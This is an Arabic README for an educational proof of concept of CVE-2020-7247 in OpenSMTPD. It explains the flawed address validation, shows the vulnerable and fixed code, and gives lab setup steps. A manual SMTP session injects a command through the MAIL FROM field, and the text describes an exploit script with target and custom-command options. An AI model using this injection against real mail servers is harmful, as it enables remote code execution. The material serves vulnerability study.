
إثبات المفهوم لـ CVE-2020-7247 لأغراض تعليمية.
يجب أن يكون هذا المستودع بمثابة قاعدة لإعداد واستغلال CVE-2020-7247 في بيئة خاصة ومسيطر عليها. جميع الشيفرات والتكوينات المنشورة هي فقط لاختبار هذه الثغرة وليس لاستغلالها ضد أنظمة ليست ملكك أو ليس لديك إذن باستغلالها. مالك هذا المستودع غير مسؤول عن استخدام هذه الأدوات من قبل أطراف ثالثة.
المشكلة الرئيسية في الشيفرة هي أن التحقق من البريد الإلكتروني لا يعمل. فهو يسمح بتمرير أحرف يحتمل أن تكون خطيرة في حقلي MAIL FROM و RCPT TO.
إذا كان الجزء المحلي من عنوان البريد غير صالح، يتم التعامل معه كصالح لأن الشيفرة تضيف جزء النطاق إليه ثم تفسره كصالح بعد ذلك. وهذا يسمح للمهاجم بتنفيذ شيفرة عشوائية.
2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191 const char *domain)
2192 {
....
2218 if (!valid_localpart(maddr->user) ||
2219 !valid_domainpart(maddr->domain)) {
....
2229 if (maddr->domain[0] == '\0') {
2230 (void)strlcpy(maddr->domain, domain,
2231 sizeof(maddr->domain));
2232 return (1);
2233 }
2234 return (0);
2235 }
2236
2237 return (1);
2238 }
يجب أن تبدو الشيفرة كما يلي حتى تكون آمنة:
2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191 const char *domain)
2192 {
....
2218 if (!valid_localpart(maddr->user) ||
2219 !valid_domainpart(maddr->domain)) {
....
2234 return (0);
2235 }
2236
2237 return (1);
2238 }
يقوم Opensmtpd بعد ذلك بتنفيذ ما يسمى أمر MDA. يستخدم الأمر لتسليم البريد. يبدو كالتالي:
asprintf(&dispatcher->u.local.command,
"/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}");
هنا قد ترى المشكلة بالفعل. mbox.from هو عنوان المرسل الذي يخضع بالكامل لسيطرة المهاجم.
ومع ذلك، المهاجم مقيد باستخدام الأحرف فقط في الشيفرة القابلة للتنفيذ غير المدرجة في القائمة التالية: !#$%&'*/?^{|}~+-=_!#$%&'*?{|}~
تم الكشف عنها بالكامل هنا
يمكنك اختيار أي توزيعة لتشغيل الخادم عليها. لقد اختبرته على Ubuntu 18.04 LTS.
نفذ chmod +x setup.sh لجعل سكريبت الإعداد قابلاً للتنفيذ. يمكنك استخدامه كمستخدم عادي لأنني قمت بتضمين صلاحيات sudo فقط في السكريبت عند الحاجة. (بالطبع يحتاج حسابك إلى صلاحية sudoer)
سيعمل سكريبت الإعداد على تثبيت جميع التبعيات المطلوبة لـ smtpd نفسه ونسخ التكوين إلى مواقعها الخاصة.
سيتم تثبيت Opensmtpd 6.6.1.
إذا كنت بحاجة إلى تشغيل openstmpd يدويًا أو كان هناك خطأ في السكريبت، فقم بتنفيذ التالي:
cd /usr/local/sbin
sudo smtpd
أو
sudo smtpd -dv لإخراج تصحيح الأخطاء
التكوين في هذا المستودع مخصص فقط للاختبار المحلي. لا يتضمن نطاقات خارجية/تكوين متقدم.
aliases و smtpd.conf هما ملفا التكوين الضروريان لإعداد هذا الخادم. يمكنك تغييرهما كما تريد. ضع في اعتبارك أن التكوين كان مخصصًا لخادم الاختبار الخاص بي. كان اسم الخادم الخاص بي هو ase (التوجيه @ase في smtpd.conf) وكان اسم المستخدم الخاص بي هو ase (تكوين مستخدم aliases).
سيتعين عليك استبدال <YOUR IP> في smtpd.conf بعنوان IP الخاص بخادمك. وإلا فلن يبدأ smtpd.
في حال صادفت أي عناوين IP ومنافذ في هذه البيئة، إليك بعض الحقائق الرئيسية حول البيئة التي استخدمتها حتى تتمكن من تغييرها وفقًا لذلك:
asease192.168.1.4025192.168.1.311337الاستغلال المقدم يستخدم Python 3.x. يعتمد على pwn. لاستخدام هذا الاستغلال، تحتاج إلى تثبيت pwntools باستخدام pip3 install pwntools.
بشكل أساسي، يقوم الاستغلال تلقائيًا باستغلال الثغرة دون الحاجة لتفاعل المستخدم. ومع ذلك، يمكن القيام بالاستغلال يدويًا دون النص البايثوني.
كما ذكرنا سابقًا، يمكن تنفيذ الاستغلال بدون النص البايثوني المقدم. ستحتاج إلى متابعة عملية SMTP يدويًا. يمكن القيام بذلك باستخدام netcat أو telnet.
إليك مثال على كيفية القيام بذلك يدويًا:
telnet <Your Servers IP> 25
HELO attacker
250 ase Hello attacker [<client IP>], pleased to meet you
MAIL FROM:<;INSERT YOUR SHELLCODE HERE;>
250 2.0.0 Ok
RCPT TO:<root>
250 2.1.5 Destination address valid: Recipient ok
DATA
354 Enter mail, end with "." on a line by itself
Oh no you got pwned
.
250 2.0.0 48bb34d2 Message accepted for delivery
يمكنك أيضًا استخدام النص المقدم. الوسائط التالية ممكنة:
--targetHost يحدد الهدف وهو مطلوب--targetPort يحدد منفذ الهدف وهو مطلوب--customCommand يحدد الأمر المراد حقنهshellcode.py يعمل كمثال على كيفية ظهور شيفرة عن بعد. \
